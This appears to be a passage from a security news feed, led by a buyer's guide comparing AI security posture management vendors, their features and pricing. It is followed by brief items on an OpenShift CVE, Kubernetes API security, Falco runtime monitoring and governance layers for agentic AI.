<p>In the past, security posture management tools were designed for two situations: to protect general cloud operations against misconfigurations and abuse, which is the province of <a href="https://www.csoonline.com/article/657138/how-to-choose-the-best-cloud-security-posture-management-tools.html">cloud security posture management</a> tools; and to protect against data leakage or malware infections, which is the province of <a href="https://www.csoonline.com/article/2075321/top-12-data-security-posture-management-tools.html">data security posture management</a> tools. With the rise of AI and large language models (LLMs), a third SPM product category is needed to check AI cloud services and their SDKs (like <a href="https://www.csoonline.com/article/4181094/hugging-face-transformers-rce-flaw-enables-stealthy-compromise-via-ai-model-configs.html">Hugging Face Transformers</a> or Azure Open AI SDK) to prevent model abuses. This is because numerous studies have documented how AI training data can be the subject of an attack or how bad data can be injected into models to manipulate results, including creating malicious backdoors for attackers to use to enter your enterprise.</p>



<p>The latest reports about attacks on AI and AI abuse can help you better understand the scope of security challenges rapidly evolving today. MITRE continues to enhance its comprehensive database of adversary tactics — <a href="https://atlas.mitre.org/">Adversarial Threat Landscape for Artificial-Intelligence Systems (ATLAS)</a> — based on real-world attack observations. ATLAS currently spans 170 techniques and 57 case studies. <a href="https://airisk.mit.edu/">MIT researchers also maintain a growing database of more than 1,700 AI-related risks</a> that they have observed from various AI sources. Another great source of AI-related attack methods is from the Open Worldwide Application Security Project (OWASP), which maintains a <a href="https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/">Top 10 list of LLM exploits.</a> Security managers should examine them before choosing any AI-SPM product. They should also consult Richard Stiennon’s <a href="http://guardiansofthemachineage.com/">Guardians of the Machine Age</a>, the most comprehensive collection of general security vendors, listing more than 100 AI security vendors. The printed book offers a deeper dive into the specifics of these tools.</p>



<p>The AI-SPM vendor landscape is quickly evolving, as incumbent security vendors have made numerous acquisitions. Palo Alto Networks bought Protect.ai last year; Cato Networks acquired Aim.security; Orca acquired Opus for AI agentic security; SentinelOne acquired Prompt.Security; Varonis acquired a variety of companies, including Cyral, SlashNext, and <a href="http://alltrue.ai/">AllTrue.ai</a>; and Google acquired Wiz.</p>



<h2 class="wp-block-heading">Why enterprises need AI-SPM</h2>



<p>AI-SPMs have been designed to protect enterprise networks and applications from a range of threats to AI systems. Just like no modern business would assemble a network without an appropriate firewall, AI-SPMs “ensure that AI models stay explainable, fair, accountable, transparent and equitable,” Forrester analyst Andras Cser tells CSO. “Further good security hygiene dictates that AI infrastructure should not be allowed to be used as a steppingstone for hackers for lateral movement and data exfiltration, and should include policies to prevent and fix configuration drift.”</p>



<p>AI-SPM can also help organizations standardize on a series of AI policies, procedures, tools, and workflows that can boost their security. Guido’s talk — linked above — is chock full of suggestions on how Trail of Bits accomplished this.</p>



<h2 class="wp-block-heading">Major AI-SPM trends and product features</h2>



<p>All AI-SPM vendors make use of agentless configurations, accessing cloud-based models and leaving data on their existing platforms. This is both a security measure and to avoid moving the massive data repositories involved across the internet.</p>



<p>AI-SPM vendors also make use of AI-related mechanisms to classify and track these vast data collections and to protect them against potential abuse and attack. Many have integrated their AI-SPM solutions in one of three directions:</p>



<ul class="wp-block-list">
<li>Bolting AI-SPM onto their existing cloud or data SPM platforms with rules, compliance checking, best practices, and protection policies that bridge all three types of security postures.</li>



<li>Stitching AI-SPM into their general AI security product that can be used to formulate AI-specific policies and perform AI-based red team and penetration testing in an effort to protect AI pipelines and workloads and uncover ways that shared AI services and platforms could be compromised.</li>



<li>Incorporating AI-SPM to help identify sensitive data referenced by an AI model and to examine training data exposed to a third-party or external application.</li>
</ul>



<p>Some vendors, especially established security vendors such as CrowdStrike, Proofpoint, Palo Alto, Varonis, and Wiz, have hundreds of third-party integrations that cover the AI waterfront (such as AI assistants and model suppliers) and general IT security arena (such as development pipelines, data feeds, and tools such as SOAR and SIEM). All three types of integrations can provide better guiderails and limit an AI’s blast radius.</p>



<p>But AI-SPM is still evolving. Some vendors’ tools just perform a top-level inspection of one or two services from each of the big three cloud platforms’ AI services (Amazon, for example, has dozens of AI-related service offerings), whereas others (such as Palo Alto Networks, Cato, Cyera, Varonis, and Wiz) take a deeper dive, performing a more comprehensive examination of AI data from the AI vendors themselves and other model sources.</p>



<p>There are two open source efforts as well: <a href="https://orca.security/resources/blog/orca-ai-goat-open-source-environment-owasp-risks/">Orca’s GOAT</a> is a free learning platform that is based on the OWASP top 10 risks. Palo Alto’s Protect.ai has its collection of <a href="https://github.com/protectai">open-source tools on GitHub</a> for scanning models and discovering AI interactions and automated red teaming called ProtectAI OSS. However, neither of these projects has been recently updated.</p>



<h2 class="wp-block-heading">How to choose an AI-SPM tool</h2>



<p>Here are several considerations when deciding on the best AI-SPM tool for your enterprise: </p>



<ol class="wp-block-list">
<li><strong>Does the vendor work with your existing security tool collection?</strong> This has two dimensions: integrating with other SPM products (such as data or cloud protection), and integrating with third-party tools such as SOARs, SIEMs, or DLP products. We have included some vendors that don’t have a specific AI-related SPM (such as Concentric and CrowdStrike) but have deeply embedded AI protection into their platforms.</li>



<li><strong>How deep is the coverage across the cloud platform providers?</strong> The big three (AWS, Azure, and GCP) have many services that touch various aspects of AI, and some products only work with a few of them, or only connect with PaaS security “hubs.”</li>



<li><strong>Does the vendor continuously scan your infrastructure looking for vulnerabilities?</strong> AI can be quickly adopted and is very dynamic, so discrete scans are less useful.</li>



<li><strong>How important is having a tool that can help with <a href="https://url.usb.m.mimecastprotect.com/s/9zsRCB1MnMHEEY8nHNiwc2W8AV?domain=csoonline.com">AI red teaming</a>?</strong> Understanding the dynamic nature of how AI operates means having a different approach to penetration testing, and this can be a very useful feature. Only a few vendors offer this feature (such as Concentric, Palo Alto Networks, and Varonis).</li>
</ol>



<h2 class="wp-block-heading">Leading AI-SPM vendors and products</h2>



<p>We reached out to a range of leading AI-SPM security vendors to demonstrate their AI-related tools. Below are more details about each of the 14 we had the opportunity to preview. We have also summarized each vendor’s offerings in the features table, which also provides links, when available, to pricing and third-party integration details. Several vendors didn’t respond to our inquiries, including Baffle.io, Invicti, SecurityCompass, Tonic Security, and Zscaler.</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td><strong>Vendor</strong></td><td><strong>Product/URL</strong></td><td><strong>Entry-level pricing</strong></td><td><strong>Packaging</strong></td><td><strong>Integrations link</strong></td><td><strong>App runtime security</strong></td><td><strong>Continuous scanning?</strong></td><td><strong>MCP/Agent protection?</strong></td><td><strong>AI Red Teaming?</strong></td></tr><tr><td>Arthur.ai</td><td><a href="https://www.arthur.ai/platform">Arthur Platform</a></td><td><a href="https://www.arthur.ai/pricing">Free and paid versions</a></td><td>Single product</td><td><a href="https://www.arthur.ai/any-ai-any-use-case">Deep PaaS coverage</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td>No</td></tr><tr><td>Cato Networks</td><td><a href="https://www.catonetworks.com/platform/ai-security-for-end-users/">AI Security for End Users</a></td><td></td><td>SASE platform</td><td><a href="https://support.catonetworks.com/hc/en-us/articles/13975273800733-Cato-Data-Third-Party-Supported-Integrations">Numerous</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td>No</td></tr><tr><td>Concentric</td><td>No specific AI-SPM product</td><td><a href="https://aws.amazon.com/marketplace/pp/prodview-nxjxmrwq7bkea?nc2=type_a_top_search">AWS $50,000/yr, varies</a></td><td><a href="https://concentric.ai/product-overview/">Part of its DSPM platform</a></td><td><a href="https://concentric.ai/integrations/">Numerous</a></td><td>No</td><td>Yes</td><td>No</td><td>Yes</td></tr><tr><td>CrowdStrike</td><td>No specific AI-SPM product</td><td></td><td><a href="https://www.crowdstrike.com/en-us/platform/cloud-security/ai-spm/">Part of Falcon AI platform</a></td><td><a href="https://marketplace.crowdstrike.com/">Numerous</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td><a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-launches-ai-red-team-services-secure-ai-systems/">Separate service</a></td></tr><tr><td>Cyera</td><td><a href="https://www.cyera.com/platform/ai-guardian">AI Guardian</a></td><td><a href="https://aws.amazon.com/marketplace/pp/prodview-mc6f4tbu6otj4?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS $50,000/yr</a></td><td>Sold in two bundles, see description</td><td><a href="https://www.cyera.com/integrations">Numerous</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td>No</td></tr><tr><td>Guardrail Technologies</td><td><a href="https://guardrail.tech/ai-traffic-light/">Traffic Light for Code and AI</a></td><td><a href="https://guardrail.tech/pricing/">Free and monthly plans</a></td><td>Also sell AI Command Center</td><td>Some</td><td>Yes</td><td>Yes</td><td>No</td><td>No</td></tr><tr><td>Microsoft</td><td><a href="https://www.microsoft.com/en-us/security/business/microsoft-purview">Purview</a></td><td>$12.60/user/mo</td><td>Part of larger CSPM platform</td><td>Some</td><td>Yes</td><td>No</td><td>Yes</td><td>No</td></tr><tr><td>OneTrust</td><td><a href="https://www.onetrust.com/solutions/ai-governance/">AI Governance</a></td><td>Subscriptions</td><td>Single product with SPM features</td><td>Some</td><td>Yes</td><td>Yes</td><td>No</td><td>No</td></tr><tr><td>Orca Security</td><td><a href="https://orca.security/platform/ai-security-posture-management/">AI-SPM</a></td><td><a href="https://aws.amazon.com/marketplace/pp/prodview-rogbt2k4b63xc?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS $84,000/yr</a></td><td>Has other AI security tools</td><td><a href="https://orca.security/integrations/">Numerous</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td>No</td></tr><tr><td>Palo Alto Networks</td><td><a href="https://www.paloaltonetworks.com/prisma/prisma-ai-runtime-security">Prisma AI Security</a></td><td></td><td>Sold in two bundles, see description</td><td><a href="https://docs.prismacloud.io/en/enterprise-edition/content-collections/administration/configure-external-integrations-on-prisma-cloud/integrations-feature-support">Numerous</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td>Yes</td></tr><tr><td>Proofpoint</td><td><a href="https://www.proofpoint.com/us/products/ai-access-security">AI Access Security</a></td><td><a href="https://aws.amazon.com/marketplace/pp/prodview-dcj7rctb55qie?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS $96,000/yr</a></td><td>People Protection Platform</td><td>Numerous</td><td>Yes</td><td>Yes</td><td>Yes</td><td>No</td></tr><tr><td>SentinelOne</td><td>No specific AI SPM product</td><td><a href="https://www.sentinelone.com/platform-packages/">$80/yr/endpoint</a></td><td><a href="https://www.sentinelone.com/platform/securing-ai/">Part of larger Singularity platform</a></td><td><a href="https://www.sentinelone.com/partners/singularity-marketplace/">Numerous</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td>Yes</td></tr><tr><td>Varonis</td><td><a href="https://www.varonis.com/platform/ai-security">Atlas</a></td><td><a href="https://aws.amazon.com/marketplace/pp/prodview-eoyer6g2olf6k?sr=0-3&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS $108,000/yr</a></td><td>Bundled with AI Inventory</td><td><a href="https://varonis.com/coverage">Hundreds</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td>Yes</td></tr><tr><td>Wiz/Google</td><td><a href="https://www.wiz.io/blog/introducing-wiz-ai-app">AI App Protection Platform</a></td><td><a href="https://aws.amazon.com/marketplace/pp/prodview-ibgbkrqusncsm?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS $38,000/yr</a></td><td>Variety of bundles available</td><td>Numerous</td><td>Yes</td><td>Yes</td><td>Yes</td><td>No</td></tr></tbody></table> </div></figure>



<h3 class="wp-block-heading">Arthur.ai</h3>



<p><a href="https://url.usb.m.mimecastprotect.com/s/FchtCzq8n8HJJ54rf4fVc9Ae_i?domain=arthur.ai/">Arthur.ai’s</a> platform is a single product that offers deep PaaS coverage with both AWS and Google Cloud Platform, although unlike other AI-SPMs it doesn’t offer a wide range of third-party integrations. It includes application runtime security protection. It also scans network traffic continuously and watches for agent activity, along with policy guardrails to protect against prompt injection and sensitive data leakage. It includes behavioral analytics and governance that catch abusive agentic activities. There are <a href="https://url.usb.m.mimecastprotect.com/s/yx7UCA8LmLh77kERH8hOcGedvn?domain=arthur.ai">free and paid versions</a> starting at $10,000 annual plans for smaller networks.</p>



<h3 class="wp-block-heading">Cato Networks AI Security for End Users</h3>



<p><a href="https://www.catonetworks.com/platform/ai-security-for-end-users/">Cato Networks AI Security for End Users</a> is one of three separate AI security packages that work together with Cato’s SASE platform, the other two being protection for applications (both runtime and across the software development lifecycle) and for real-time agentic operations. The three AI packages are meant to be purchased together to provide audit trails showing what users are doing with their AI tools and to help understand and illustrate the risks. Cato’s tools can also prevent prompt injection and data leaks and find compliance blind spots. Its platform has a <a href="https://support.catonetworks.com/hc/en-us/articles/13975273800733-Cato-Data-Third-Party-Supported-Integrations">wide collection of third-party integrations</a>, including CrowdStrike, Microsoft, and Splunk SIEMs, and various data sources such as Google’s Chronicle and Rapid7. Cato Networks did not reveal pricing.</p>



<h3 class="wp-block-heading">Concentric AI and Data Security Governance</h3>



<p>Concentric sells a <a href="https://concentric.ai/product-overview/">DSPM platform</a> labelled “AI and Data Security Governance.” There is no specific AI tool, although AI pervades its product in a variety of places, including scanning various models for prompt injection, automated remediation, and the discovery and classification of data flows. It offers a <a href="https://concentric.ai/integrations/">wide collection of third-party integrations.</a> On the <a href="https://aws.amazon.com/marketplace/pp/prodview-nxjxmrwq7bkea?nc2=type_a_top_search">AWS Marketplace</a>, it sells an entry-level version for $50,000 per year that covers up to 25TB of data, with higher fees for larger data collections.</p>



<h3 class="wp-block-heading">CrowdStrike Falcon AI-SPM</h3>



<p><a href="https://www.crowdstrike.com/en-us/platform/cloud-security/ai-spm/">CrowdStrike Falcon AI-SPM</a> is not a separate product, but part of the overall Falcon Cloud security platform. It can correlate risk findings with other security services monitored by the full Falcon platform. It includes discovery of AI services and models across a variety of cloud platforms, including containers and virtual images, and can detect misconfigurations and dependencies with other software. It scans OpenAI, Amazon Bedrock, Amazon SageMaker, and Vertex AI models. <a href="https://marketplace.crowdstrike.com/">Falcon has more than 250 integrations</a> available to a wide collection of third-party security tools. You can request a free 15-day trial, but no further pricing information was disclosed.</p>



<h3 class="wp-block-heading">Cyera AI Guardian</h3>



<p>Cyera.io specializes in data file level classification. It packages its AI-SPM product in two separate bundles: either with its flagship <a href="https://www.cyera.io/platform/dspm">DSPM product</a> that has added what you might think of as AI-enriched data link protection as part of the default product’s features, or with a more complete set of security features called <a href="https://www.cyera.com/platform/ai-guardian">AI Guardian</a>. Cyera also offers a specialized add-on module used for Microsoft Copilot data scanning that can detect data used by insiders, for example. <a href="https://aws.amazon.com/marketplace/pp/prodview-mc6f4tbu6otj4?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa%20%5D">Cyera’s AWS Marketplace pricing can be found here</a> and starts at $50,000 per year. </p>



<h3 class="wp-block-heading">Guardrail Technologies Traffic Light for Code and AI</h3>



<p><a href="https://guardrail.tech/ai-traffic-light/">Guardrail Technologies Traffic Light for Code and AI</a> is designed to be a simple way to flag potential AI abuse by scanning AI-generated code and returning a red/yellow/green result to indicate potential for compromise. There is no remediation, but the tool integrates across the major AI vendors, including Anthropic, Azure Open AI, Hugging Face, and AWS Bedrock, and general security tools such as Wiz and Snyk. Guardrail has a custom AI security consulting business as well called AI Guardian. Very transparent pricing page and a 60-day free trial is available.</p>



<h3 class="wp-block-heading">Microsoft Purview</h3>



<p>Microsoft has bundled its various security posture tools into its <a href="https://www.microsoft.com/en-us/security/business/microsoft-purview">Purview offering</a>, which includes a series of AI-based Copilot apps, data SPM and classification tools, and data loss prevention extensions tuned to its various SaaS platforms such as 365, Azure, and Windows endpoints. This extends the AI security features that were originally part of its Defender for Cloud offerings. It has a limited number of third-party integrations. One-month free trials are available, and the entire suite is available for $12.60 per month per user. Microsoft has stepped up its involvement with AI with its Scout, a collection of autonomous AI agents built on top of OpenClaw. It is designed to work with its applications, using built-in security and privacy controls.</p>



<h3 class="wp-block-heading">OneTrust AI Governance</h3>



<p><a href="https://www.onetrust.com/solutions/ai-governance/">OneTrust offers AI Governance</a>, a platform that automates compliance and provides continuous monitoring of the AI landscape, across the software lifecycle starting with any AI usage at the beginning of any build. It can detect policy violations, and which AI agents are running. It offers a series of third-party integrations such as Amazon’s Bedrock and Sagemaker; Azure Foundry, ML Studio, and OpenAI; Databricks Unity Catalog and ML flow; and Google Vertex. Its subscription price is based on the number of admin users and number of AI inventory records, although no specifics were provided.</p>



<h3 class="wp-block-heading">Orca AI-SPM</h3>



<p><a href="https://orca.security/platform/ai-security/ai-spm/">Orca Security’s AI-SPM </a>is tightly integrated into the company’s security platform. It continues to expand its features, offering detections of more than 50 AI models, including training data and runtime threats, remediation, and support for Model Context Protocol to connect to other Orca-based telemetry. It <a href="https://orca.security/integrations/">continues to expand its nearly 100 integrations</a> across SIEM and SOAR systems and various cloud providers’ services. For example, it works with AWS S3, SQS, SNS, CodeBuild, CloudTrail, and Security Hub. It comes with dozens of best-practice security rules that initially focused on compliance. It also alerts when sensitive data is detected inside models and when secrets are exposed. Orca’s overall security platform shows an <a href="https://aws.amazon.com/marketplace/pp/prodview-rogbt2k4b63xc?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS Marketplace annual pricing that ranges from $84,000 to $360,000</a>, depending on the number of workloads scanned.</p>



<h3 class="wp-block-heading">Palo Alto Networks AIRS AI Security</h3>



<p>Palo Alto Networks has been busy acquiring point security vendors (Dig, ProtectAI, and an offer on Portkey) and incorporating their code into its two major product lines, Prisma and Cortex. You can purchase AI-SPM functionality in either Palo Alto product line, but they cover different aspects of the AI ecosystem. Cortex offers AI-SPM alongside the data and cloud SPMs integrated into the CNAPP suite. Prisma offers AI-SPM as part of a total AI security package called <a href="https://www.paloaltonetworks.com/prisma/prisma-ai-runtime-security">AIRS AI Security</a>, which includes runtime protection, model scanning, and a more comprehensive platform. We focus on AIRS AI, which supports top-level scans of Amazon, Google Cloud, and Azure AI services to discover AI content and can classify and examine model data and secrets and comes with many built-in AI-related policies. Prisma has a <a href="https://docs.prismacloud.io/en/enterprise-edition/content-collections/administration/configure-external-integrations-on-prisma-cloud/integrations-feature-support">long list of third-party integrations</a>, including significant depth in AWS security services. That link will also take you to detailed instructions on how to set up these integrations. To complicate matters further, Palo Alto also sells a <a href="https://www.paloaltonetworks.com/sase/prisma-browser">separate Prisma secure browser extension</a> that works with these products to protect your endpoints, and that originated from technology it purchased from Talon Cyber Security in 2023. While pricing was not disclosed, our estimate is that AIRS will cost in the low six figures annually.</p>



<h3 class="wp-block-heading">Proofpoint People Protection Platform</h3>



<p>Proofpoint includes a <a href="https://www.proofpoint.com/us/products/ai-access-security">general AI security product</a> as part of its People Protection Platform that covers a wide range of protective services integrated across its other non-AI security tools. It provides runtime inspection of potential AI misconfigurations, as well as policies that include detection of agent, tools, and MCP connections, and it can generate forensic audits of AI interactions. Proofpoint’s general security platform starts at <a href="https://aws.amazon.com/marketplace/pp/prodview-dcj7rctb55qie?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">$96,000 annually on AWS Marketplace</a>. It has several integrations with third-party services across the major cloud platform providers.</p>



<h3 class="wp-block-heading">SentinelOne Singularity Platform</h3>



<p><a href="https://www.sentinelone.com/platform/securing-ai/">SentinelOne’s Singularity platform</a> offers several AI protective features, including misconfiguration detection, attack path analysis, automated AI inventory and remediation, and integration with a variety of AI PaaS platforms such as Azure OpenAI, Google’s Vertex AI, and various AWS services. It is bundled within the company’s Cloud Native Security tool. Some of these features originated with Singularity’s purchase of Prompt.Security. Access to all the features requires purchasing the enterprise edition, which is offered with custom pricing, but lower feature tiers are available for $80 per year on <a href="https://www.sentinelone.com/platform-packages/">this public pricing page</a>. There are also <a href="https://www.sentinelone.com/partners/singularity-marketplace/">numerous integrations with its Marketplace</a>.</p>



<h3 class="wp-block-heading">Varonis Atlas AI Security</h3>



<p><a href="https://www.varonis.com/solutions/ai-security">Varonis Atlas AI Security</a> is a multipurpose security platform that offers a variety of modules, including red team/penetration testing, compliance, and third-party risk management. Its AI-SPM module is combined with an AI inventory scanner and can be used to help development teams classify data used in the AI ecosystem, such as scanning for bad AI behavior, leveraging identities improperly, and examining data flows. Automated remediation processes are built into the tool as well. There are several <a href="https://www.varonis.com/coverage">hundred third-party integrations available</a> for a wide collection of security tools, such as JFrog, Jira, Okta, and Salesforce. Varonis has two pricing components; one based on per user and per protected application and an additional price for resource consumption. Atlas is sold on the <a href="https://aws.amazon.com/marketplace/pp/prodview-ibgbkrqusncsm?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS Marketplace starting at $108,000 per year</a> and free risk assessments are available to qualified customers.</p>



<h3 class="wp-block-heading">Wiz/Google AI Application Protection Platform</h3>



<p>Google has acquired Wiz but kept its operation independent. It has a <a href="https://www.wiz.io/solutions/ai-spm">multipurpose security platform</a> that comes from a strong posture management (cloud and data) background. Its advanced version has been augmented with a comprehensive AI-related series of policies, detection algorithms, and pipeline, model, and data scanners. These are assembled into a separate AI dashboard page. It can also detect AI pipeline abuses, protect AI runtimes, identify and classify tools and agents, map dependencies graphically and suggest remediation steps. It also contains core AI-SPM features such as discovery, attack path analysis, and supply chains. Pricing for the Wiz Advanced bundle on <a href="https://aws.amazon.com/marketplace/pp/prodview-ibgbkrqusncsm?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS Marketplace is $38,000 annually</a>.</p>



<h2 class="wp-block-heading">What about AI-SPM pricing?</h2>



<p>Pricing and packaging of AI-SPM tools vary widely. Many vendors offer free trials limited to differing periods (an option that is also available on the AWS Marketplace). We pointed out the open-source alternatives earlier, which is also a good way to see how the products work, but we wouldn’t recommend relying on these tools given their lack of recent updates. The only vendors that have (mostly) transparent pricing are Guardrail Technologies (with both free and monthly plans) and SentinelOne (with various annual plans starting at $80 per endpoint). Most of the vendors didn’t want to provide pricing directly but have published pricing on the AWS Marketplace, which can give you a rough indication that most start in the low six figures for annual contracts. For a typical situation with 1,000 users the total could be in the low six-figure range annually.</p>
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<title><![CDATA[CVE-2026-54099 | Red Hat OpenShift Container Platform 4 privileges management]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, has been found in Red Hat OpenShift Container Platform 4 and OpenShift for Windows Containers. Affected by this issue is some unknown functionality. Performing a manipulation results in improper privilege management.

This vulnerability is identi...]]></description>
<link>https://tsecurity.de/de/3619079/sicherheitsluecken/cve-2026-54099-red-hat-openshift-container-platform-4-privileges-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619079/sicherheitsluecken/cve-2026-54099-red-hat-openshift-container-platform-4-privileges-management/</guid>
<pubDate>Tue, 23 Jun 2026 19:09:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, has been found in <a href="https://vuldb.com/product/red_hat:openshift_container_platform_4">Red Hat OpenShift Container Platform 4 and OpenShift for Windows Containers</a>. Affected by this issue is some unknown functionality. Performing a manipulation results in improper privilege management.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-54099">CVE-2026-54099</a>. The attack is only possible with local access. There is not any exploit available.]]></content:encoded>
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<title><![CDATA[On-Premises API Security on Kubernetes: What It Actually Looks Like in Practice]]></title>
<description><![CDATA[Let’s Talk About Where Your APIs Actually Run Quick answer: On-premises API security keeps API discovery, detection, and enforcement inside your own perimeter instead of a third-party cloud—the model regulated industries need. Deploying it natively on Kubernetes (sidecar sensors →…
Read more →
Th...]]></description>
<link>https://tsecurity.de/de/3618102/it-security-nachrichten/on-premises-api-security-on-kubernetes-what-it-actually-looks-like-in-practice/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3618102/it-security-nachrichten/on-premises-api-security-on-kubernetes-what-it-actually-looks-like-in-practice/</guid>
<pubDate>Tue, 23 Jun 2026 13:37:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Let’s Talk About Where Your APIs Actually Run Quick answer: On-premises API security keeps API discovery, detection, and enforcement inside your own perimeter instead of a third-party cloud—the model regulated industries need. Deploying it natively on Kubernetes (sidecar sensors →…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/on-premises-api-security-on-kubernetes-what-it-actually-looks-like-in-practice/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/on-premises-api-security-on-kubernetes-what-it-actually-looks-like-in-practice/">On-Premises API Security on Kubernetes: What It Actually Looks Like in Practice</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Kubernetes-Cluster mit Falco in Echtzeit überwachen]]></title>
<description><![CDATA[Kubernetes-Cluster absichern bedeutet mehr als Image-Scans und statische Konfigurationsprüfungen. Falco setzt dafür als kernelnaher Agent direkt an laufenden Workloads an und erkennt ungewöhnliche Systemaufrufe, Dateizugriffe und Prozessstarts in Echtzeit. Damit schließt das Open-Source-Tool gezi...]]></description>
<link>https://tsecurity.de/de/3617784/it-security-nachrichten/kubernetes-cluster-mit-falco-in-echtzeit-ueberwachen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3617784/it-security-nachrichten/kubernetes-cluster-mit-falco-in-echtzeit-ueberwachen/</guid>
<pubDate>Tue, 23 Jun 2026 11:37:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Kubernetes-Cluster absichern bedeutet mehr als Image-Scans und statische Konfigurationsprüfungen. Falco setzt dafür als kernelnaher Agent direkt an laufenden Workloads an und erkennt ungewöhnliche Systemaufrufe, Dateizugriffe und Prozessstarts in Echtzeit. Damit schließt das Open-Source-Tool gezielt die Lücke, die statische Analysetools offenlassen.]]></content:encoded>
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<title><![CDATA[The missing layer in enterprise agentic AI]]></title>
<description><![CDATA[In the past year, the enterprise AI ecosystem has gained enormous capability and zero consensus.



Developers now have a remarkable set of tools for building AI agents: OpenAI’s frameworks, Anthropic’s Claude tooling, LangChain, LangGraph, CrewAI, Microsoft AutoGen, and a growing list of alterna...]]></description>
<link>https://tsecurity.de/de/3617683/ai-nachrichten/the-missing-layer-in-enterprise-agentic-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3617683/ai-nachrichten/the-missing-layer-in-enterprise-agentic-ai/</guid>
<pubDate>Tue, 23 Jun 2026 11:03:57 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>In the past year, the enterprise AI ecosystem has gained enormous capability and zero consensus.</p>



<p>Developers now have a remarkable set of tools for building AI agents: OpenAI’s frameworks, Anthropic’s Claude tooling, LangChain, LangGraph, CrewAI, Microsoft AutoGen, and a growing list of alternatives. Each promises to coordinate reasoning loops, manage multi-step task execution, and connect agents to tools and APIs. For experimentation, the progress has been substantial. Teams can now assemble sophisticated agent workflows in days that would have taken months two years ago.</p>



<p>But I’ve watched this pattern before. In over two decades of building and selling distributed systems platforms, I’ve seen the same dynamic play out across nearly every major infrastructure shift: the tools for consuming a new capability arrive before the infrastructure for governing it does. The gap that emerges isn’t immediately obvious in development environments. It becomes obvious in production.</p>



<p>That’s exactly where enterprise AI stands today.</p>



<h2 class="wp-block-heading"><a></a>What agent frameworks don’t handle</h2>



<p>Modern agent frameworks are fundamentally coordination systems. They determine what a system should do: which tools to call, how to sequence tasks, how to delegate work across agents. That’s hard work, and they’ve gotten quite good at it.</p>



<p>What they rarely address is where those tasks are allowed to run, and under what conditions.</p>



<p>Take a seemingly simple workflow: summarize customer support transcripts using an LLM. In a development environment, the implementation is clean. The agent calls a model API, passes the transcript, and returns a summary. In production at an enterprise, the same request may involve a dataset that can’t cross a specific geographic boundary, a model that isn’t approved for regulated data, and an audit requirement that demands a traceable record of what happened.</p>



<p>Those aren’t planning problems the agent framework was designed to solve. They’re execution governance problems. Most frameworks quietly assume they’re handled somewhere else in the stack. In many enterprise environments, they’re not handled at all. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">Gartner predicts</a> more than 40% of agentic AI projects will be canceled by the end of 2027, citing inadequate risk controls as a primary driver of failure—a number that reflects exactly this gap.</p>



<h2 class="wp-block-heading"><a></a>What the missing layer actually does</h2>



<p>Addressing these governance problems requires an additional layer between agent logic and execution: one that evaluates every agent action against policies governing where data can reside, which models may process it, who authorized the request, and how the action fits within the organizational context. The agent framework determines what the system should do. The orchestration layer determines whether and where it’s allowed to happen. Keeping those responsibilities separate allows both layers to evolve independently. It also means you can adopt new agent frameworks without rebuilding your governance model from scratch.</p>



<p>This separation will feel familiar to anyone who has worked through the Kubernetes era. <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a> doesn’t care what’s inside your container. It finds capacity, allocates resources, and ensures things run. The orchestration layer for agentic AI plays an analogous role: it doesn’t care which agent framework generated the request. It enforces the conditions under which that request can execute.</p>



<h2 class="wp-block-heading"><a></a>Richer authorization models</h2>



<p>Traditional enterprise access control is built around a simple question: can user X access resource Y? That’s insufficient for autonomous agents.</p>



<p>A realistic authorization decision for an agent request might look more like this:</p>



<pre class="wp-block-code"><code>request = {
    "agent": "support-summary-agent",
    "task": "summarize",
    "dataset": "customer_support_logs",
    "model": "external_llm_api",
    "delegated_by": "user_4821"
}

policy = evaluate_policy(request)

if policy.allowed:
